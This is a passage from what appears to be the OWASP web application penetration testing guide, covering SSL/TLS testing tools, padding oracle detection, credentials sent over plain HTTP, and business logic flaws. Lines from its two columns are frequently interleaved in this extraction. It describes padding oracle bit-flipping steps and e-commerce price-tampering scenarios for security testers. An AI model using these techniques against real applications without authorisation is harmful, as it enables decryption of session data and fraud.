• [29] [SSLScan | http://sourceforge.net/projects/sslscan/] • [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]
with [SSL Tests|http://www.pentesterscripting.com/discovery/ • [34] [RFC6066 - Transport Layer Security (TLS) Extensions:
ssl_tests]: a SSL Scanner and a wrapper in order to enumerate Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]
SSL vulnerabilities. • [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.
• [31] [nmap|http://nmap.org/]: can be used primary to identify org/56387]
SSL-based services and then to check Certificate and SSL/TLS • [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/
vulnerabilities. In particular it has some scripts to check [Certif- cgi-bin/cvename.cgi?name=CVE-2009-3555]
icate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] • [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://com-
and supported [SSL/TLS protocols/ciphers|http://nmap.org/ munity.qualys.com/blogs/securitylabs/2011/10/31/tls-renego-
nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating. tiation-and-denial-of-service-attacks]
• [30] [curl|http://curl.haxx.se/] and [openssl|http://www. • [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practic-
openssl.org/]: can be used to query manually SSL/TLS services es|https://www.ssllabs.com/projects/best-practices/index.
• [9] [Stunnel|http://www.stunnel.org]: a noteworthy class of html]
SSL clients is that of SSL proxies such as stunnel available at • [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.
which can be used to allow non-SSL enabled tools to talk to SSL ssllabs.com/projects/rating-guide/index.html]
services) • [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssl-
• [37] [socat| http://www.dest-unreach.org/socat/]: Multipur- labs.com/projects/ssl-threat-model/index.html]
pose relay • [18] [Qualys SSL Labs - Forward Secrecy|https://community.
• [38] [testssl.sh| https://testssl.sh/ ] qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploy-
ing-forward-secrecy]
• [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.
References com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-
OWASP Resources now-what]
• [5] [OWASP Testing Guide - Testing for cookie attributes (OTG- • [16] [Qualys SSL Labs - BEAST|https://community.qualys.
SESS-002)|https://www.owasp.org/index.php/Testing_for_ com/blogs/securitylabs/2011/10/17/mitigating-the-beast-at-
cookies_attributes_(OTG-SESS-002)] tack-on-tls]
• [4][OWASP Testing Guide - Test Network/Infrastructure Con- • [17] [Qualys SSL Labs - CRIME|https://community.qualys.
figuration (OTG-CONFIG-001)|https://www.owasp.org/index. com/blogs/securitylabs/2012/09/14/crime-information-leak-
php/Test_Network/Infrastructure_Configuration_(OTG-CON- age-attack-against-ssltls]
FIG-001)] • [7] [SurfJacking attack|https://resources.enablesecurity.com/
• [6] [OWASP Testing Guide - Testing for HTTP_Strict_Trans- resources/Surf%20Jacking.pdf]
port_Security (OTG-CONFIG-007)|https://www.owasp.org/ • [8] [SSLStrip attack|http://www.thoughtcrime.org/software/
index.php/Test_HTTP_Strict_Transport_Security_(OTG-CON- sslstrip/]
FIG-007)] • [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/
• [2] [OWASP Testing Guide - Testing for Sensitive information security_standards/documents.php]
sent via unencrypted channels (OTG-CRYPST-003)|https:// • [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and
www.owasp.org/index.php/Testing_for_Sensitive_informa- Other Hash Functions| http://link.springer.com/chap-
tion_sent_via_unencrypted_channels_(OTG-CRYPST-003)] ter/10.1007/11426639_2]
• [3] [OWASP Testing Guide - Testing for Credentials Transport-
ed over an Encrypted Channel (OTG-AUTHN-001)|https://www. Testing for Padding Oracle (OTG-CRYPST-002)
owasp.org/index.php/Testing_for_Credentials_Transported_ Summary
over_an_Encrypted_Channel_(OTG-AUTHN-001)] A padding oracle is a function of an application which decrypts
• [22] [OWASP Cheat sheet - Transport Layer Protec- encrypted data provided by the client, e.g. internal session state
tion|https://www.owasp.org/index.php/Transport_Layer_Pro- stored on the client, and leaks the state of the validity of the
tection_Cheat_Sheet] padding after decryption. The existence of a padding oracle al-
• [23] [OWASP TOP 10 2013 - A6 Sensitive Data Expo- lows an attacker to decrypt encrypted data and encrypt arbitrary
sure|https://www.owasp.org/index.php/Top_10_2013-A6-Sen- data without knowledge of the key used for these cryptographic
sitive_Data_Exposure] operations. This can lead to leakage of sensible data or to privi-
• [24] [OWASP TOP 10 2010 - A9 Insufficient Transport lege escalation vulnerabilities, if integrity of the encrypted data
Layer Protection|https://www.owasp.org/index.php/ is assumed by the application.
Top_10_2010-A9-Insufficient_Transport_Layer_Protection]
• [25] [OWASP ASVS 2009 - Verification 10|https://code.google. Block ciphers encrypt data only in blocks of certain sizes. Block
com/p/owasp-asvs/wiki/Verification_V10] sizes used by common ciphers are 8 and 16 bytes. Data where
• [26] [OWASP Application Security FAQ - Cryptography/ the size doesn’t match a multiple of the block size of the used
SSL|https://www.owasp.org/index.php/OWASP_Application_ cipher has to be padded in a specific manner so the decryptor is
Security_FAQ#Cryptography.2FSSL] able to strip the padding. A commonly used padding scheme is
PKCS#7. It fills the remaining bytes with the value of the padding
Whitepapers length.
174

Web Application Penetration Testing

Example: least significant bit of the byte at y-2*n-1), re-encode and send.
If the padding has the length of 5 bytes, the byte value 0x05 is
repeated five times after the plain text. If it is known that the encrypted string is a single block (the IV is
stored on the server or the application is using a bad practice hard-
An error condition is present if the padding doesn’t match the coded IV), several bit flips must be performed in turn. An alternative
syntax of the used padding scheme. A padding oracle is present approach could be to prepend a random block, and flip bits in order
if an application leaks this specific padding error condition for en- to make the last byte of the added block take all possible values (0
crypted data provided by the client. This can happen by exposing ex- to 255).
ceptions (e.g. BadPaddingException in Java) directly, by subtle differ-
ences in the responses sent to the client or by another side-channel The tests and the base value should at least cause three different
like timing behavior. states while and after decryption:

Certain modes of operation of cryptography allow bit-flipping at- • Cipher text gets decrypted, resulting data is correct.
tacks, where flipping of a bit in the cipher text causes that the bit is • Cipher text gets decrypted, resulting data is garbled and causes
also flipped in the plain text. Flipping a bit in the n-th block of CBC en- some exception or error handling in the application logic.
crypted data causes that the same bit in the (n+1)-th block is flipped • Cipher text decryption fails due to padding errors.
in the decrypted data. The n-th block of the decrypted cipher text is
garbaged by this manipulation. Compare the responses carefully. Search especially for exceptions
and messages which state that something is wrong with the pad-
The padding oracle attack enables an attacker to decrypt encrypted ding. If such messages appear, the application contains a padding
data without knowledge of the encryption key and used cipher by oracle. If the three different states described above are observable
sending skillful manipulated cipher texts to the padding oracle and implicitly (different error messages, timing side-channels), there is
observing of the results returned by it. This causes loss of confiden- a high probability that there is a padding oracle present at this point.
tiality of the encrypted data. E.g. in the case of session data stored Try to perform the padding oracle attack to ensure this.
on the client side the attacker can gain information about the internal
state and structure of the application. Examples:

A padding oracle attack also enables an attacker to encrypt arbi- • ASP.NET throws “System.Security.Cryptography.Cryptographic
trary plain texts without knowledge of the used key and cipher. If Exception: Padding is invalid and cannot be removed.” if padding of
the application assumes that integrity and authenticity of the de- a decrypted cipher text is broken.
crypted data is given, an attacker could be able to manipulate inter- • In Java a javax.crypto.BadPaddingException is thrown in this case.
nal session state and possibly gain higher privileges. • Decryption errors or similar can be possible padding oracles.

How to Test Result Expected:


Black Box Testing A secure implementation will check for integrity and cause only two
Testing for padding oracle vulnerabilities: responses: ok and failed. There are no side channels which can be
First the possible input points for padding oracles must be identi- used to determine internal error states.
fied. Generally the following conditions must be met:
Grey Box Testing
[1] The data is encrypted. Good candidates are values which appear Testing for padding oracle vulnerabilities:
to be random. Verify that all places where encrypted data from the client, that
[2] A block cipher is used. The length of the decoded (Base64 is used should only be known by the server, is decrypted. The following con-
often) cipher text is a multiple of common cipher block sizes like 8 or ditions should be met by such code:
16 bytes. Different cipher texts (e.g. gathered by different sessions or
manipulation of session state) share a common divisor in the length. [1] The integrity of the cipher text should be verified by a secure
mechanism, like HMAC or authenticated cipher operation modes
Example: like GCM or CCM.
Dg6W8OiWMIdVokIDH15T/A== results after Base64 decoding in [2] All error states while decryption and further processing are han-
0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. This seems to be dled uniformly.
random and 16 byte long.
Tools
If such an input value candidate is identified, the behavior of the • PadBuster - https://github.com/GDSSecurity/PadBuster
application to bit-wise tampering of the encrypted value should be • python-paddingoracle - https://github.com/mwielgoszewski/py
verified. Normally this Base64 encoded value will include the initial- thon-paddingoracle
ization vector (IV) prepended to the cipher text. Given a plaintext p • Poracle - https://github.com/iagox86/Poracle
and a cipher with a block size n, the number of blocks will be b = ceil( • Padding Oracle Exploitation Tool (POET) -
length(b) / n). The length of the encrypted string will be y=(b+1)*n http://netifera.com/research/
due to the initialization vector. To verify the presence of the oracle,
decode the string, flip the last bit of the second-to-last block b-1 Examples
(the least significant bit of the byte at y-n-1), re-encode and send. • Visualization of the decryption process - http://erlend.oftedal.no/
Next, decode the original string, flip the last bit of the block b-2 (the blog/poet/
175

Web Application Penetration Testing

References
Whitepapers Content-Type: text/html
• Wikipedia - Padding oracle attack -
http://en.wikipedia.org/wiki/Padding_oracle_attack <html><head><title>401 Authorization Required</title></
• Juliano Rizzo, Thai Duong, “Practical Padding Oracle Attacks” - head>
http://www.usenix.org/event/woot10/tech/full_papers/Riz- <body bgcolor=white> <h1>401 Authorization Required</
zo.pdf h1> Invalid login credentials! </body></html>

Testing for Sensitive information sent via


unencrypted channels (OTG-CRYPST-003) Example 2: Form-Based Authentication Performed over HTTP
Summary Another typical example is authentication forms which transmit
Sensitive data must be protected when it is transmitted through user authentication credentials over HTTP. In the example be-
the network. If data is transmitted over HTTPS or encrypted in low one can see HTTP being used in the “action” attribute of the
another way the protection mechanism must not have limita- form. It is also possible to see this issue by examining the HTTP
tions or vulnerabilities, as explained in the broader article Testing traffic with an interception proxy.
for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protec-
tion (OTG-CRYPST-001) [1] and in other OWASP documentation <form action=”http://example.com/login”>
[2], [3], [4], [5].
<label for=”username”>User:</label> <in-
put type=”text” id=”username” name=”username” val-
As a rule of thumb if data must be protected when it is stored,
this data must also be protected during transmission. Some ex- ue=””/><br />
amples for sensitive data are: <label for=”password”>Password:</label> <input
• Information used in authentication (e.g. Credentials, PINs, Ses- type=”password” id=”password” name=”password” val-
sion identifiers, Tokens, Cookies…) ue=””/>
• Information protected by laws, regulations or specific organi- <input type=”submit” value=”Login”/>
zational policy (e.g. Credit Cards, Customers data) </form>

If the application transmits sensitive information via unencrypt-


ed channels - e.g. HTTP - it is considered a security risk. Some Example 3: Cookie Containing Session ID Sent over HTTP
examples are Basic authentication which sends authentication The Session ID Cookie must be transmitted over protected chan-
credentials in plain-text over HTTP, form based authentication nels. If the cookie does not have the secure flag set [6] it is per-
credentials sent via HTTP, or plain-text transmission of any oth- mitted for the application to transmit it unencrypted. Note below
er information considered sensitive due to regulations, laws, or- the setting of the cookie is done without the Secure flag, and the
ganizational policy or application business logic. entire log in process is performed in HTTP and not HTTPS.

How to Test
https://secure.example.com/login
Various types of information that must be protected, could be
transmitted by the application in clear text. It is possible to check
if this information is transmitted over HTTP instead of HTTPS, POST /login HTTP/1.1
or whether weak cyphers are used. See more information about Host: secure.example.com
insecure transmission of credentials Top 10 2013-A6-Sensitive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9;
Data Exposure [3] or insufficient transport layer protection in rv:25.0) Gecko/20100101 Firefox/25.0
general Top 10 2010-A9-Insufficient Transport Layer Protection Accept: text/html,application/xhtml+xml,application/xm-
[2]. l;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Example 1: Basic Authentication over HTTP Accept-Encoding: gzip, deflate
A typical example is the usage of Basic Authentication over Referer: https://secure.example.com/
HTTP. When using Basic Authentication, user credentials are en-
Content-Type: application/x-www-form-urlencoded
coded rather than encrypted, and are sent as HTTP headers. In
Content-Length: 188
the example below the tester uses curl [5] to test for this issue.
Note how the application uses Basic authentication, and HTTP
rather than HTTPS HTTP/1.1 302 Found
Date: Tue, 03 Dec 2013 21:18:55 GMT
curl -kis http://example.com/restricted/ Server: Apache
HTTP/1.1 401 Authorization Required Cache-Control: no-store, no-cache, must-revalidate, max-
Date: Fri, 01 Aug 2013 00:00:00 GMT age=0
WWW-Authenticate: Basic realm=”Restricted Area” Expires: Thu, 01 Jan 1970 00:00:00 GMT
Accept-Ranges: bytes Vary: Pragma: no-cache
Accept-Encoding Content-Length: 162 Set-Cookie: JSESSIONID=BD99F321233AF69593ED-
F52B123B5BDA; expires=Fri, 01-Jan-2014 00:00:00 GMT;
176

Web Application Penetration Testing

the intention of performing steps 1, 2, 3 in that specific order to


path=/; domain=example.com; httponly authenticate a user. What happens if the user goes from step 1
Location: private/ straight to step 3? In this simplistic example, does the applica-
X-Content-Type-Options: nosniff tion provide access by failing open; deny access, or just error out
X-XSS-Protection: 1; mode=block with a 500 message?
X-Frame-Options: SAMEORIGIN
Content-Length: 0 There are many examples that can be made, but the one con-
Keep-Alive: timeout=1, max=100 stant lesson is “think outside of conventional wisdom”. This type
of vulnerability cannot be detected by a vulnerability scanner
Connection: Keep-Alive
and relies upon the skills and creativity of the penetration tester.
Content-Type: text/html
In addition, this type of vulnerability is usually one of the hard-
est to detect, and usually application specific but, at the same
---------------------------------------------------------- time, usually one of the most detrimental to the application, if
http://example.com/private exploited.

GET /private HTTP/1.1 The classification of business logic flaws has been under-stud-
Host: example.com ied; although exploitation of business flaws frequently happens
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; in real-world systems, and many applied vulnerability research-
rv:25.0) Gecko/20100101 Firefox/25.0 ers investigate them. The greatest focus is in web applications.
Accept: text/html,application/xhtml+xml,application/xm- There is debate within the community about whether these
problems represent particularly new concepts, or if they are vari-
l;q=0.9,*/*;q=0.8
ations of well-known principles.
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate Testing of business logic flaws is similar to the test types used
Referer: https://secure.example.com/login by functional testers that focus on logical or finite state testing.
Cookie: JSESSIONID=BD99F321233AF69593ED- These types of tests require that security professionals think a
F52B123B5BDA; bit differently, develop abused and misuse cases and use many
Connection: keep-alive of the testing techniques embraced by functional testers. Auto-
mation of business logic abuse cases is not possible and remains
HTTP/1.1 200 OK a manual art relying on the skills of the tester and their knowl-
Cache-Control: no-store edge of the complete business process and its rules.
Pragma: no-cache
Business Limits and Restrictions
Expires: 0
Consider the rules for the business function being provided by
Content-Type: text/html;charset=UTF-8
the application. Are there any limits or restrictions on people’s
Content-Length: 730 behavior? Then consider whether the application enforces those
Date: Tue, 25 Dec 2013 00:00:00 GMT rules. It’s generally pretty easy to identify the test and analysis
---------------------------------------------------------- cases to verify the application if you’re familiar with the busi-
ness. If you are a third-party tester, then you’re going to have to
use your common sense and ask the business if different opera-
tions should be allowed by the application.
Tools
• [5] curl can be used to check manually for pages Sometimes, in very complex applications, the tester will not have
a full understanding of every aspect of the application initially.
References In these situations, it is best to have the client walk the tester
OWASP Resources through the application, so that they may gain a better under-
• [1] OWASP Testing Guide - Testing for Weak SSL/TLS Ciphers, standing of the limits and intended functionality of the applica-
Insufficient Transport Layer Protection (OTG-CRYPST-001) tion, before the actual test begins. Additionally, having a direct
• [2] OWASP TOP 10 2010 - Insufficient Transport Layer line to the developers (if possible) during testing will help out
Protection greatly, if any questions arise regarding the application’s func-
• [3] OWASP TOP 10 2013 - Sensitive Data Exposure tionality.
• [4] OWASP ASVS v1.1 - V10 Communication Security Verification
Requirements Description of the Issue
• [6] OWASP Testing Guide - Testing for Cookies attributes Automated tools find it hard to understand context, hence it’s up
(OTG-SESS-002) to a person to perform these kinds of tests. The following two
examples will illustrate how understanding the functionality of
Testing for business logic the application, the developer’s intentions, and some creative
Summary “out-of-the-box” thinking can break the application’s logic. The
Testing for business logic flaws in a multi-functional dynamic first example starts with a simplistic parameter manipulation,
web application requires thinking in unconventional methods. whereas the second is a real world example of a multi-step pro-
If an application’s authentication mechanism is developed with cess leading to completely subvert the application.
177

Web Application Penetration Testing

Example 1: on input or output timing. This is important because without this


Suppose an e-commerce site allows users to select items to pur- safeguard in place attackers may be able to monitor processing
chase, view a summary page and then tender the sale. What if an time and determine outputs based on timing, or circumvent the
attacker was able to go back to the summary page, maintaining application’s business logic by not completing transactions or
their same valid session and inject a lower cost for an item and actions in a timely manner.
complete the transaction, and then check out?
4.12.5 Test Number of Times a Function Can be Used Limits
Example 2: (OTG-BUSLOGIC-005)
Holding/locking resources and keeping others from purchases In function limit testing, we verify that the application does not
these items online may result in attackers purchasing items at a allow users to exercise portions of the application or its func-
lower price. The countermeasure to this problem is to implement tions more times than required by the business logic workflow.
timeouts and mechanisms to ensure that only the correct price This is important because without this safeguard in place attack-
can be charged. ers may be able to use a function or portion of the application
more times than permissible per the business logic to gain ad-
Example 3: ditional benefits.
What if a user was able to start a transaction linked to their club/
loyalty account and then after points have been added to their 4.12.6 Testing for the Circumvention of Work Flows (OTG-BUS-
account cancel out of the transaction? Will the points/credits still LOGIC-006)
be applied to their account? In circumventing workflow and bypassing correct sequence
testing, we verify that the application does not allow users to
Business Logic Test Cases perform actions outside of the “approved/required” business
Every application has a different business process, application process flow. This is important because without this safeguard
specific logic and can be manipulated in an infinite number of in place attackers may be able to bypass or circumvent work-
combinations. This section provides some common examples of flows and “checks” allowing them to prematurely enter or skip
business logic issues but in no way a complete list of all issues. “required” sections of the application potentially allowing the
action/transaction to be completed without successfully com-
Business Logic exploits can be broken into the following cate- pleting the entire business process, leaving the system with in-
gories: complete backend tracking information.

4.12.1 Test business logic data validation (OTG-BUSLOGIC-001) 4.12.7 Test Defenses Against Application Mis-use (OTG-BUS-
In business logic data validation testing, we verify that the ap- LOGIC-007)
plication does not allow users to insert “unvalidated” data into In application mis-use testing, we verify that the application
the system/application. This is important because without this does not allow users to manipulate the application in an unin-
safeguard attackers may be able to insert “unvalidated” data/in- tended manner.
formation into the application/system at “handoff points” where
the application/system believes that the data/information is 4.12.8 Test Upload of Unexpected File Types (OTG-BUSLOG-
“good” and has been valid since the “entry points” performed IC-008)
data validation as part of the business logic workflow. In unexpected file upload testing, we verify that the application
does not allow users to upload file types that the system is not
4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002) expecting or wanted per the business logic requirements. This is
In forged and predictive parameter request testing, we verify important because without these safeguards in place attackers
that the application does not allow users to submit or alter data may be able to submit unexpected files such as .exe or .php that
to any component of the system that they should not have access could be saved to the system and then executed against the ap-
to, are accessing at that particular time or in that particular man- plication or system.
ner. This is important because without this safeguard attackers
may be able to “fool/trick” the application into letting them into 4.12.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)
sections of thwe application of system that they should not be In malicious file upload testing, we verify that the application
allowed in at that particular time, thus circumventing the appli- does not allow users to upload files to the system that are ma-
cations business logic workflow. licious or potentially malicious to the system security. This is
important because without these safeguards in place attackers
4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003) may be able to upload files to the system that may spread virus-
In integrity check and tamper evidence testing, we verify that the es, malware or even exploits such as shellcode when executed.
application does not allow users to destroy the integrity of any
part of the system or its data. This is important because without Tools
these safe guards attackers may break the business logic work- While there are tools for testing and verifying that business pro-
flow and change of compromise the application/system data or cesses are functioning correctly in valid situations these tools
cover up actions by altering information including log files. are incapable of detecting logical vulnerabilities. For example,
tools have no means of detecting if a user is able to circumvent
4.12.4 Test for Process Timing (OTG-BUSLOGIC-004) the business process flow through editing parameters, predict-
In process timing testing, we verify that the application does not ing resource names or escalating privileges to access restricted
allow users to manipulate a system or guess its behavior based resources nor do they have any mechanism to help the human
178

Web Application Penetration Testing

testers to suspect this state of affairs. site you use, with all your accounts; if you want to use another
The following are some common tool types that can be useful in account just swap profile!
identifying business logic issues.
• HTTP Response Browser - https://chrome.google.com/web-
HP Business Process Testing Software store/detail/mgekankhbggjkjpcbhacjgflbacnpljm?hl=en-US
• http://www8.hp.com/us/en/software-solutions/software.ht-
ml?compURI=1174789#.UObjK3ca7aE Make HTTP requests from your browser and browse the re-
sponse (HTTP headers and source). Send HTTP method, headers
Intercepting Proxy - To observe the request and response and body using XMLHttpRequest from your browser then view
blocks of HTTP traffic. the HTTP status, headers and source. Click links in the headers or
• Webscarab - https://www.owasp.org/index.php/Catego- body to issue new requests. This plug-in formats XML responses
ry:OWASP_WebScarab_Project and uses Syntax Highlighter < http://alexgorbatchev.com/ >.

• Burp Proxy - http://portswigger.net/burp/proxy.html • Firebug lite for Chrome - https://chrome.google.com/web-


store/detail/bmagokdooijbeehmkpknfglimnifench
• Paros Proxy - http://www.parosproxy.org/
Firebug Lite is not a substitute for Firebug, or Chrome Developer
Web Browser Plug-ins - To view and modify HTTP/HTTPS Tools. It is a tool to be used in conjunction with these tools. Fire-
headers, post parameters and observe the DOM of the Browser bug Lite provides the rich visual representation we are used to
• Tamper Data (for Internet Explorer) - https://addons.mozilla. see in Firebug when it comes to HTML elements, DOM elements,
org/en-us/firefox/addon/tamper-data/ and Box Model shading. It provides also some cool features like
inspecting HTML elements with your mouse, and live editing CSS
• TamperIE (for Internet Explorer) - http://www.bayden.com/ properties.
tamperie/
References
• Firebug (for Internet Explorer) - https://addons.mozilla.org/en- Whitepapers
us/firefox/addon/firebug/ and http://getfirebug.com/ • Business Logic Vulnerabilities in Web Applications -
http://www.google.com/url?sa=t&rct=j&q=BusinessLog-
Miscellaneous Test Tools icVulnerabilities.pdf&source=web&cd=1&cad=rja&ved=0C-
• Web Developer toolbar - https://chrome.google.com/web- DIQFjAA&url=https%3A%2F%2Fptop.only.wip.la%3A443%2Fhttp%2Faccorute.googlecode.
store/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm com%2Ffiles%2FBusinessLogicVulnerabilities.pdf&ei=2X-
j9UJO5LYaB0QHakwE&usg=AFQjCNGlAcjK2uz2U87bT-
The Web Developer extension adds a toolbar button to the jTHjJ-T0T3THg&bvm=bv.41248874,d.dmg
browser with various web developer tools. This is the official
port of the Web Developer extension for Firefox. • The Common Misuse Scoring System (CMSS): Metrics for Soft-
• HTTP Request Maker - https://chrome.google.com/webstore/ ware Feature Misuse Vulnerabilities - NISTIR 7864 - http://csrc.
detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US nist.gov/publications/nistir/ir7864/nistir-7864.pdf
Request Maker is a tool for penetration testing. With it you can
easily capture requests made by web pages, tamper with the • Designing a Framework Method for Secure Business Appli-
URL, headers and POST data and, of course, make new requests cation Logic Integrity in e-Commerce Systems, Faisal Nabi -
• Cookie Editor - https://chrome.google.com/webstore/detail/ http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-
fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US n1-p29-41.pdf

Edit This Cookie is a cookie manager. You can add, delete, edit, • Finite State testing of Graphical User Interfaces, Fevzi Belli -
search, protect and block cookies http://www.slideshare.net/Softwarecentral/finitestate-test-
• Session Manager - https://chrome.google.com/webstore/de- ing-of-graphical-user-interfaces
tail/bbcnbpafconjjigibnhbfmmgdbbkcjfi
• Principles and Methods of Testing Finite State Machines - A
With Session Manager you can quickly save your current browser Survey, David Lee, Mihalis Yannakakis - http://www.cse.ohio-
state and reload it whenever necessary. You can manage multi- state.edu/~lee/english/pdf/ieee-proceeding-survey.pdf
ple sessions, rename or remove them from the session library.
Each session remembers the state of the browser at its cre- • Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin
ation time, i.e. the opened tabs and windows. Once a session is Choi - http://homepages.cs.ncl.ac.uk/jeff.yan/TEL.pdf
opened, the browser is restored to its state.
• Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik,
• Cookie Swap - https://chrome.google.com/webstore/detail/ McAfee - https://www.info-point-security.com/open_down-
dffhipnliikkblkhpjapbecpmoilcama?hl=en-US loads/2008/McAfee_wp_online_gaming_0808.pdf

Swap My Cookies is a session manager, it manages your cookies, • Seven Business Logic Flaws That Put Your Website At Risk
letting you login on any website with several different accounts. – Jeremiah Grossman Founder and CTO, WhiteHat Security -
You can finally login into Gmail, yahoo, hotmail, and just any web- https://www.whitehatsec.com/resource/whitepapers/busi-
179

Web Application Penetration Testing

ness_logic_flaws.html Business_Logic_White_Paper.pdf
• Toward Automated Detection of Logic Vulnerabilities in Web Books
Applications - Viktoria Felmetsger Ludovico Cavedon Christo- • The Decision Model: A Business Logic Framework Linking Busi-
pher Kruegel Giovanni Vigna - https://www.usenix.org/legacy/ ness and Technology, By Barbara Von Halle, Larry Goldberg, Pub-
event/sec10/tech/full_papers/Felmetsger.pdf lished by CRC Press, ISBN1420082817 (2010)

• 2012 Web Session Intelligence & Security Report: Business Test business logic data validation
Logic Abuse, Dr. Ponemon - http://www.emc.com/collateral/ (OTG-BUSLOGIC-001)
rsa/silvertail/rsa-silver-tail-ponemon-ar.pdf Summary
The application must ensure that only logically valid data can be
• 2012 Web Session Intelligence & Security Report: Business entered at the front end as well as directly to the server side of
Logic Abuse (UK) Edition, Dr. Ponemon - http://buzz.silvertail- an application of system. Only verifying data locally may leave
systems.com/Ponemon_UK.htm applications vulnerable to server injections through proxies or at
handoffs with other systems. This is different from simply per-
OWASP Related forming Boundary Value Analysis (BVA) in that it is more difficult
• Business Logic Attacks – Bots and Bats, Eldad Chai - http:// and in most cases cannot be simply verified at the entry point,
www.imperva.com/resources/adc/pdfs/AppSecEU09_Busi- but usually requires checking some other system.
nessLogicAttacks_EldadChai.pdf
For example: An application may ask for your Social Security
• OWASP Detail Misuse Cases - https://www.owasp.org/index. Number. In BVA the application should check formats and se-
php/Detail_misuse_cases mantics (is the value 9 digits long, not negative and not all 0’s) for
the data entered, but there are logic considerations also. SSNs
• How to Prevent Business Flaws Vulnerabilities in Web Applica- are grouped and categorized. Is this person on a death file? Are
tions, Marco Morana - http://www.slideshare.net/marco_mora- they from a certain part of the country?
na/issa-louisville-2010morana
Vulnerabilities related to business data validation is unique in
Useful Web Sites that they are application specific and different from the vulner-
• Abuse of Functionality - http://projects.webappsec.org/w/ abilities related to forging requests in that they are more con-
page/13246913/Abuse-of-Functionality cerned about logical data as opposed to simply breaking the
business logic workflow.
• Business logic - http://en.wikipedia.org/wiki/Business_logic
The front end and the back end of the application should be ver-
• Business Logic Flaws and Yahoo Games - http://jeremiah- ifying and validating that the data it has, is using and is passing
grossman.blogspot.com/2006/12/business-logic-flaws.html along is logically valid. Even if the user provides valid data to an
application the business logic may make the application behave
• CWE-840: Business Logic Errors - http://cwe.mitre.org/data/ differently depending on data or circumstances.
definitions/840.html
Examples
• Defying Logic: Theory, Design, and Implementation of Complex Example 1
Systems for Testing Application Logic - Suppose you manage a multi-tiered e-commerce site that allows
http://www.slideshare.net/RafalLos/defying-logic-busi- users to order carpet. The user selects their carpet, enters the
ness-logic-testing-with-automation size, makes the payment, and the front end application has ver-
ified that all entered information is correct and valid for contact
• Prevent application logic attacks with sound app se- information, size, make and color of the carpet. But, the business
curity practices - http://searchappsecurity.techtarget. logic in the background has two paths, if the carpet is in stock it
co m /qn a /0, 2 8 9202 ,si d 92_g c i1213 424 ,0 0 . h t m l ? b u c k- is directly shipped from your warehouse, but if it is out of stock in
et=NEWS&topic=302570 your warehouse a call is made to a partner’s system and if they
have it in-stock they will ship the order from their warehouse
